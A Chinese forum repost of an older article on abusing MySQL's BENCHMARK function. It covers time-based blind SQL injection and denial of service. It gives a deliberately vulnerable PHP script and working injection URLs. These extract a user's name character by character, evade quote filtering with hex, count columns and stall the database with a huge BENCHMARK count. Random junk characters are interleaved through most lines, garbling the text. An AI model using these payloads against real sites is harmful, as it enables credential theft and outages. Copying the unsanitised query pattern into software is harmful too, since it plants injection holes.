找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2637|回复: 0
打印 上一主题 下一主题

MYSQL中BENCHMARK函数的利用

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:03:03 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
MYSQL中BENCHMARK函数的利用
- x0 P& s  F7 T7 h6 X1 I. j  F! |2 U本文作者:SuperHei
9 S3 ?+ ^9 a2 `# T' G9 \文章性质:原创) S* I! O) f" S) j: I4 f& ^; _
发布日期:2005-01-02
0 @- {5 j+ V3 T7 J$ |% z6 n1 Q完成日期:2004-07-09 , Z1 i: H7 d8 [, O& u
第一部7 P- r" @5 H- {; B* |# T& j" X

" ?3 @% M( p+ O3 p4 c利用时间推延进行注射---BENCHMARK函数在注射中的利用 % Y6 E' r3 M* F) v, S! g) \1 Y

  A+ r' i5 E* P- {3 b) b: d: ~一.前言/思路
: E  f- P/ i$ l2 Q3 C6 B* }
' D. i# n; X) ]: O  如果你看了angel的《SQL Injection with MySQL》一文,你有会发现一般的mysql+php的注射都是通过返回错误信息,和union联合查询替换原来查询语句中的字段而直接输出敏感信息,但是有的时候,主机设置为不显示错误信息:display_errors = Off 而且有的代码中sql查询后只是简单的对查询结果进行判断,而不要求输出查询结果,我们用上面的办法注射将一无所获。我们可以采用时间推延来进行判断注射了。9 g7 n0 j( E- b; `  K8 j# W
/ U( W0 u6 T% V  L% R$ V
  本技术的主要思路:通过在构造的语句用加入执行时间推延的函数,如果我们提交的判断是正确的,那么mysql查询时间就出现推延,如果提交的判断是正确,将不会执行时间推延的函数,查询语句将不会出现推延。这样我们就可以进行判断注射。
! o" U4 }) P9 \, S& n* R) M# j, v. p0 b2 m( H0 F) n' a& p
二.关于BENCHMARK函数
3 o5 y; g) B* h7 F% P( C: P5 e) O! D/ V* B! R" l
  在MySQL参考手册里可以看到如下描叙: / Q9 r% d( N, G' b2 F
: ]9 u1 n8 e; q: s: G! I4 q0 o

$ t/ ?3 P- O+ l  ^5 L--------------------------------------------------------------------------------
8 ]! Y* o: d# ^( E3 e
: V  [/ R" b' Z7 s( U- ^* z9 @BENCHMARK(count,expr) ' f: ], S- N. h) ]+ s% i1 E
BENCHMARK()函数重复countTimes次执行表达式expr,它可以用于计时MySQL处理表达式有多快。结果值总是0。意欲用于mysql客户,它报告查询的执行时间。
& i% a- Y; ], i4 H( fmysql> select BENCHMARK(1000000,encode("hello","goodbye")); 5 n. M7 ^7 V9 m0 `. G$ o# m0 w
+----------------------------------------------+ 8 w% r& W4 _, [. d) ~
| BENCHMARK(1000000,encode("hello","goodbye")) | $ C6 E. e- @# R0 f" w% y- _
+----------------------------------------------+
  S7 c( K* F) V6 [) Y+ f  t| 0 |
/ u' B. m$ Y& B7 \6 w+----------------------------------------------+ 5 L' J4 U0 n; q/ k" ~
1 row in set (4.74 sec)
+ B& w7 o8 {8 J& }1 M5 d! D+ U
+ j5 |) p1 D% ^* @报告的时间是客户端的经过时间,不是在服务器端的CPU时间。执行BENCHMARK()若干次可能是明智的,并且注意服务器机器的负载有多重来解释结果。
) A9 y! U  g  B# |/ ~8 x4 Z% U$ z" v) }4 Y* f' I

+ w9 {* G1 X. w' D  s--------------------------------------------------------------------------------6 m: K- G" i1 i/ d; q

- L& ]8 b' `# F! N! K2 M/ R  只要我们把参数count 设置大点,那么那执行的时间就会变长。下面我们看看在mysql里执行的效果:
; K+ A" E( R1 r' t* M+ Y9 {% b! T' v! S4 E
mysql> select md5( 'test' ); ; b5 w# I, p( K; `3 L- ]4 v' x
+----------------------------------+   h0 F* q  G) B' f
| md5( 'test' ) | & Q# W+ f) d- W$ ]4 E' e8 Y
+----------------------------------+
. G$ w: L1 `, P  z" z| 098f6bcd4621d373cade4e832627b4f6 | ; ^  S4 y* m0 }( F5 n) d2 v
+----------------------------------+
, L/ M" t, L$ W* _" |, `7 f' u1 row in set (0.00 sec) 〈-----------执行时间为0.00 sec ) K* N8 e" a" x
7 Y3 f/ m0 u* L* ~1 x
mysql> select benchmark( 500000, md5( 'test' ) ); ) q1 Q1 u5 H& B3 T9 w( d3 X
+------------------------------------+
8 ^& N! k, [# `7 e" x: Z2 }| benchmark( 500000, md5( 'test' ) ) | : I" n/ {6 E, D+ U
+------------------------------------+ 0 A6 s! m# j! ]) R; L
| 0 |
9 M1 }( A  u* W( D2 e* J; Y) v& Z- B2 F+------------------------------------+
0 c8 U& d4 o3 @; N& J( [, m1 row in set (6.55 sec) 〈------------执行时间为6.55 sec
! c6 [% t' U3 B  z* K: ?
8 j2 e4 E+ A) P7 Q" G; ^6 |. L3 x; f9 a" b6 W- Q
  由此可以看出使用benchmark执行500000次的时间明显比正常执行时间延长了。 * Q- S/ ]9 i4 @: S' {7 C

$ D1 \( c" t  h三.具体例子, {. }- b$ J1 g. D

! `5 E8 q+ Q8 g7 p9 j( |  首先我们看个简单的php代码:
) z5 U7 X, ~+ K  n8 B' V/ ?" E# E1 W9 w# l: Z4 u' P
< ?php
/ s6 u4 D8 \' Y2 C. {1 d$servername = "localhost"; ( p% U7 L( c, o: j* C* g5 m
$dbusername = "root"; * s, [) i7 T) |' Y0 Y7 t
$dbpassword = "";
% h, t7 w8 r6 Z$dbname = "injection"; " j! s" J* V6 u3 S" e

# D+ L/ _% e  ~6 `0 h4 B) y8 L+ ^mysql_connect($servername,$dbusername,$dbpassword) or die ("数据库连接失败");
) l: X1 J& s+ [" A0 t& ]+ u- k# p! C
$sql = "SELECT * FROM article WHERE articleid=$id"; 0 h. o+ a, s) W/ @
$result = mysql_db_query($dbname,$sql);
( D' x9 G( I5 t$ }# g& _3 Z% G$row = mysql_fetch_array($result);
5 k' U+ o  ^' I, \, m' p5 `' G  K7 R
if (!$row) 9 d! P. B2 K: I' @
{ 7 I6 }1 [& H" y# [
exit; % r. }- s4 ]/ b  s3 _/ ~
}
4 L. G% @3 e8 f. }1 ??>
% Y" H; m# h- G. t" E* ^/ Q3 L8 q + x8 U  F9 i; K# D9 W

- e0 I7 [( s4 c5 T3 H1 P4 a  [  数据库injection结构和内容如下:" d: J  `9 t! Y

  V% ^" M+ }3 @" R$ b# 数据库 : `injection` " }4 i5 @# z. `7 L
# ' {9 t) G: L8 ~; P( o. Y
. f% z: ]' h! L1 K1 s% z
# -------------------------------------------------------- 3 ]7 ]( }5 V  A
6 k' ?/ H9 T: F8 S. y2 O
# 5 S! o/ v+ V" o3 b5 H+ n
# 表的结构 `article`
  n' ~" J3 a1 h& E& |) c/ P) V8 _# 8 h* N+ r, g! A
3 B* L6 M! ?; j7 P9 I
CREATE TABLE `article` ( + d. S: Q' ]4 @- w; O* \
`articleid` int(11) NOT NULL auto_increment,
5 u7 n" Y, v2 s`title` varchar(100) NOT NULL default '', 5 S1 V8 \+ S4 ]" V
`content` text NOT NULL, 4 }. t: x* ^% _8 O8 _2 A4 O
PRIMARY KEY (`articleid`) 2 R& F; r- f. w; H$ H
) TYPE=MyISAM AUTO_INCREMENT=3 ;
. s% A# C; u* ~9 L* s; U* V
# C' L4 D& K& ^; j. N) P3 k# 7 q) H1 ~1 @0 h7 r
# 导出表中的数据 `article` 0 R1 r& L3 \( }) N$ [8 K# A4 g5 @
# $ x; v# F2 e4 Q( `/ C3 `* u

. d9 J# \. r3 y8 X3 z% u7 hINSERT INTO `article` VALUES (1, '我是一个不爱读书的孩子', '中国的教育制度真是他妈的落后!如果我当教育部长。我要把所有老师都解雇!操~'); ( I$ ]9 h& m1 D; I$ Q* ?
INSERT INTO `article` VALUES (2, '我恨死你', '我恨死你了,你是什么东西啊'); / j! z* ^, b% F" a
# n! H" c- N* ?" k( E
# -------------------------------------------------------- / h/ U( z) T' b

5 D: a1 v  U8 w) Q( `7 L#
6 n( A; J! h& H( g# 表的结构 `user` % L( h% O# D+ \5 w6 c
#
' x. I; ]5 M& @0 }
: t7 z1 d5 c. t8 aCREATE TABLE `user` (
$ p4 K8 U& L$ ~2 y, Q) h* ?`userid` int(11) NOT NULL auto_increment, ) H9 ^! b1 [9 W! ^8 w& _$ Z, a- I' `
`username` varchar(20) NOT NULL default '',
/ y% {4 h/ p8 t  u`password` varchar(20) NOT NULL default '',
+ E! l) @% E1 C  h& _0 G# RPRIMARY KEY (`userid`) : X/ c% D  t- l( r
) TYPE=MyISAM AUTO_INCREMENT=3 ;
+ l- Y# e- N* I. _6 t" }; v
, ~8 I1 g% n0 w7 p2 L1 r$ C: H# 9 u9 _4 R& D( }8 n2 y4 F5 _
# 导出表中的数据 `user`   c, I2 p0 e4 _0 d$ P3 T0 E+ U) T
#
( h7 L: h8 E' E# w1 j' B  q
3 ?) p) t  E& D% F7 r- H9 fINSERT INTO `user` VALUES (1, 'angel', 'mypass'); - _! l0 @$ s' `+ k4 m# k# q
INSERT INTO `user` VALUES (2, '4ngel', 'mypass2');
9 T; a) m1 [. f# ~0 s* O' b
, {1 D) O2 c! p3 W
1 f- h& R0 Z4 P# V  }0 c  代码只是对查询结果进行简单的判断是否存在,假设我们已经设置display_errors=Off。我们这里就没办法利用union select的替换直接输出敏感信息(ps:这里不是说我们不利用union,因为在mysql中不支持子查询)或通过错误消息返回不同来判断注射了。我们利用union联合查询插入BENCHMARK函数语句来进行判断注射:
; G" U6 O4 D7 V6 U1 B7 f7 I; C# \
id=1 union select 1,benchmark(500000,md5('test')),1 from user where userid=1 and ord(substring(username,1,1))=97 /*7 k5 ~& ]* ^( \5 w+ j. _- Z7 j
% }; z$ w1 [7 G3 S0 n3 S
8 h7 L0 e; f, V/ U
  上面语句可以猜userid为1的用户名的第一位字母的ascii码值是是否为97,如果是97,上面的查询将由于benchmark作用而延时。如果不为97,将不回出现延时,这样我们最终可以猜出管理员的用户名和密码了。 大家注意,这里有一个小技巧:在benchmark(500000,md5('test'))中我们使用了'号, 这样是很危险的,因为管理员随便设置下 就可以过滤使注射失败,我们这里test可以是用其他进制表示,如16进制。最终构造如下:1 P% b1 n0 }* g& z+ d# D

0 k3 ]4 b; d' O& h) Phttp://127.0.0.1/test/test/show.php?id=1%20union%20select%201,benchmark(500000,md5(0x41)),1%20from%20user%20where%20userid=1%20and%20ord(substring(username,1,1))=97%20/*
% Y0 b& e/ B/ i& b5 F, N $ M# ]5 R$ _9 E" `
1 ]* O* p6 h) k0 i5 w* @7 R
  执行速度很慢,得到userid为1的用户名的第一位字母的ascii码值是是为97。
4 b& z' A* G6 r' f2 L# V
2 Q- l$ o7 Y' S& n  注意:我们在使用union select事必须知道原来语句查询表里的字段数,以往我们是根据错误消息来判断,我们在union select 1,1,1我们不停的增加1 如果字段数正确将正常返回不会出现错误,而现在不可以使用这个方法了,那我们可以利用benchmark(),我们这样构造 union select benchmark(500000,md5(0x41)) 1,1 我们在增加1的,当字段数正确时就回执行benchmark()出现延时,这样我们就可以判断字段数了。 / o4 f7 g6 R7 |7 B; N9 L2 l6 G

" t+ R4 H1 p, A- l; d: w第二部
; h( x, u0 ^1 x# g7 z* J0 f& b' R# E9 _6 B/ w% {$ @3 j' Z
利用BENCHMARK函数进行ddos攻击 : K1 m, |. B5 b8 ?( D( ?

. V& E3 p/ J6 {" `" A( @5 n  其实思路很简单:在BENCHMARK(count,expr) 中 我们只要设置count 就是执行次数足够大的话,就可以造成dos攻击了,如果我们用代理或其他同时提交,就是ddos攻击,估计数据库很快就会挂了。不过前提还是要求可以注射。语句:
% ^- K  ^: x) K" ?' g. M8 R
, h, m' g$ r: ~9 |7 Shttp://127.0.0.1/test/test/show.php?id=1%20union%20select%201,1,benchmark(99999999,md5(0x41))
  `# W* p1 w5 @* s& l
* c) ]$ S7 p6 [1 z: ~/ W) E7 B/ g( P, a; Z8 g  \: _5 I# \
小结3 r7 |9 J8 a3 {4 w9 A2 S9 V3 F
* Y& v4 Q! ~, D+ p6 [3 r+ W/ a- ?4 S
  本文主要思路来自http://www.ngssoftware.com/papers/HackproofingMySQL.pdf,其实关于利用时间差进行注射在mssql注射里早有应用,只是所利用的函数不同而已(见http://www.ngssoftware.com/papers/more_advanced_sql_injection.pdf)。关于mysql+php一般注射的可以参考angel的文章《SQL Injection with MySQL》。% z- f" o/ i) \# w2 T

4 o" M* d5 {0 m+ I& |$ G  : m2 D& ?8 r$ j) V6 F0 T3 W
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表